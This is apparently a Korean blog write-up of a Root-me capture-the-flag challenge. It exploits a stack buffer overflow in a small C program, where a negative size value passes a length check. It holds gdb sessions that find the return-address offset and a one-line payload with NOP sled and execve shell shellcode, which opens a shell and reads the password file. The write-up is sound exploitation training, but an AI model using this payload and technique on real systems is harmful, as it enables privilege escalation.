1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#define BUFFER 128
void read_data(char *data, int fd, int size)
{
while(read(fd, data, 1) == 1 && *data && size)
{
size--;
data++;
}
}
void read_file(int fd)
{
char path[BUFFER+1] = {0};
int size;
if(read(fd, &size, sizeof(int)) != sizeof(int))
{
printf("[-] File too short.\n");
exit(0);
}
if(size >= BUFFER)
{
printf("[-] Path too long.\n");
exit(0);
}
read_data(path, fd, size);
if(path[0] != '/')
{
printf("[-] Need a absolute path.\n");
exit(0);
}
printf("[+] The pathname is : %s\n", path);
}
int main(int argc, char **argv)
{
int fd;
if(argc != 2)
{
printf("[-] Usage : %s <filename>\n", argv[0]);
exit(0);
}
if((fd = open(argv[1], O_RDONLY)) == -1)
{
perror("[-] open ");
exit(0);
}
read_file(fd);
close(fd);
return 0;
}
2.2. 분석
2.2.1. main
main 함수에서 인자를 받아들이며, 인자를 통해 파일을 연다.
정상적으로 파일이 열렸다면 read_file 함수 및 close 함수를 실행한다.
2.2.2. read_file
파일 내용을 4 bytes 만큼 size 변수의 위치에 받아들인다.
만일 4 bytes만큼 받아들인 내용의 정수 값이 BUFFER 변수보다 크면 종료한다.
이후 path 변수 주소, fd, size 값을 인자로 read_data 함수를 실행한다.
2.2.3. read_data
파일을 path 변수 위치에 파일의 끝까지 1 byte씩 읽어들인다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
주요 사항은 BUFFER 변수의 크기보다 size 변수의 크기가 크면 error와 함께 종료되는데, 만일 파일에서 읽어들인 4 bytes의 내용이 0xffffffff라면 음수로 인식하며, read_data 함수에서 overflow를 일으킬 수 있다.
3.2. 공격 준비
우선 /tmp 폴더에 임시 파일을 만들어서 테스트 해보자.
size 변수의 값에 대해서 조금 이해하기 힘들 수 있는데 예를 들어 AAAA 라는 문자열이 파일에 저장되어있다면 이는 size 변수에 들어가면 0x41414141로 인식되어 1,094,795,585로 인식한다.
a 파일에 B 4개와 A 1000개를 넣고 gdb로 확인해보면
app-systeme-ch11@challenge02:/tmp/wyv3rn$ echo `python -c 'print "A" * 1000'` > a
app-systeme-ch11@challenge02:/tmp/wyv3rn$ cat a
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
아래와 같이 첫 4 bytes인 0x41414141과 비교하는 것을 볼 수 있다.
gef➤ b *read_file + 129
Breakpoint 1 at 0x8048611
gef➤ set disassembly-flavor att
gef➤ r /tmp/wyv3rn/a
Starting program: /challenge/app-systeme/ch11/ch11 /tmp/wyv3rn/a
...
$eax : 0x42424242 ("BBBB"?)
...
→ 0x8048611 <read_file+129> cmp $0x7f, %eax
...
즉, 첫 4 bytes는 0xffffffff가 되어야 한다.
더불어 read_data 함수 실행 이후 path[0]의 값이 '/' 인지 확인하는데, 해당 위치를 찾아보면 BBBB이후의 1 byte이다.
이를 만족하면 read_file 함수의 return address 변조가 가능해지며 오프셋을 확인해보면 아래와 같다.
gef➤ b *read_file+262
Breakpoint 3 at 0x8048696
gef➤ c
Continuing.
[+] The pathname is : /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
challenge/app-systeme/ch11
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x41b
$ebx : 0x41414141 ("AAAA"?)
$ecx : 0x0
$edx : 0xb7fc4890 → 0x00000000
$esp : 0xbffffafc → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x41414141 ("AAAA"?)
$edi : 0x41414141 ("AAAA"?)
$eip : 0x08048696 → <read_file+262> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffffafc│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp
0xbffffb00│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb04│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb08│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb0c│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb10│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb14│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffffb18│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048693 <read_file+259> pop %esi
0x8048694 <read_file+260> pop %edi
0x8048695 <read_file+261> pop %ebp
→ 0x8048696 <read_file+262> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch11", stopped 0x8048696 in read_file (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048696 → read_file()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 3, 0x08048696 in read_file ()
gef➤ x/40wx $esp-200
0xbffffa34: 0xb7fff940 0xb7e3c525 0x0804868b 0x08048811
0xbffffa44: 0xbffffa5f 0xfffffc15 0x080485a1 0xb7fd2110
0xbffffa54: 0xb7fd23e0 0xffffffff 0x2f000000 0x41414141
0xbffffa64: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa74: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa84: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141
gef➤ p 0xbffffafc-0xbffffa60
$1 = 0x9c
4. exploit
offset 확인 후 아래와 같이 payload를 작성하여 a 파일에 넣어두고 문제 파일을 실행하였으나 gdb offset에 의해 ret address가 적절하지 않아 seg.fault가 발생하였으며, 이에 주소를 적절히 변경하면서 시도하였다.
app-systeme-ch11@challenge02:/tmp/wyv3rn$ echo `python -c 'print "\xff\xff\xff\xff/" + "\x90"* (0x9c-34-30) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x90"*30 + "\xc0\xfa\xff\xbf"'` > a
app-systeme-ch11@challenge02:~$ ./ch11 /tmp/wyv3rn/a
[+] The pathname is : /��������������������������������������������������������������������������������������������j1X���jFX�
Rhn/shh//bi��������������������������������������
$ id
uid=1211(app-systeme-ch11-cracked) gid=1111(app-systeme-ch11) groups=1111(app-systeme-ch11),100(users)
$ cat .passwd
#----------플래그는 삭제
'Wargame > Root me' 카테고리의 다른 글
[App system] ELF x64 - Stack buffer overflow - advanced (0) | 2022.10.26 |
---|---|
[App system] ELF x86 - Stack buffer overflow basic 5 (0) | 2022.10.25 |
[App-system] ELF x86 - Stack buffer overflow - C++ vtables (0) | 2022.10.21 |
[Cracking] ELF C++ - 0 protection (0) | 2022.07.15 |
[Cracking] PE x86 - 0 protection (0) | 2022.07.15 |